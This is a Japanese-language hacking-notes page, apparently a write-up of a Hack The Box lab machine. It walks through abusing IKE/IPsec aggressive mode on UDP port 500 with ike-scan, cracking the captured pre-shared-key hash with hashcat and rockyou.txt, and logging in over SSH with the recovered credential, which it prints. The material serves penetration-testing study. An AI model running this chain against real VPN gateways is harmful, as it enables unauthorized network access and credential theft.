> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/ports-and-services/ike-ipsec-500.md).
# IKE/IPsec - 500
ike-scan、PSKハッシュの取得、hashcatでのクラック、SSHアクセスを伴うIKE/IPsecアグレッシブモード列挙。
### IKE/IPsec VPN の悪用
UDPポート500はIKE鍵交換サービスを示します。aggressive mode を使用して事前共有鍵（PSK）の取得を試みます。
#### IDを特定する
使用する `ike-scan` aggressive mode が有効かどうかを確認するには:
```bash
sudo ike-scan -A 10.129.238.52
```
* 結果: ハンドシェイク成功。IDを検出: `ike@expressway.htb`.
#### PSKハッシュを取得して解析する
```bash
sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52
```
ハッシュを抽出し、次を使ってブルートフォース攻撃を試みる `rockyou.txt` 辞書。
```bash
hashcat expressway.psk /usr/share/wordlists/rockyou.txt
```
* 取得した認証情報: `ike` : `freakingrockstarontheroad`
#### 初期アクセス
見つかった認証情報を使ってSSHで接続:
```bash
ssh ike@10.129.238.52
```
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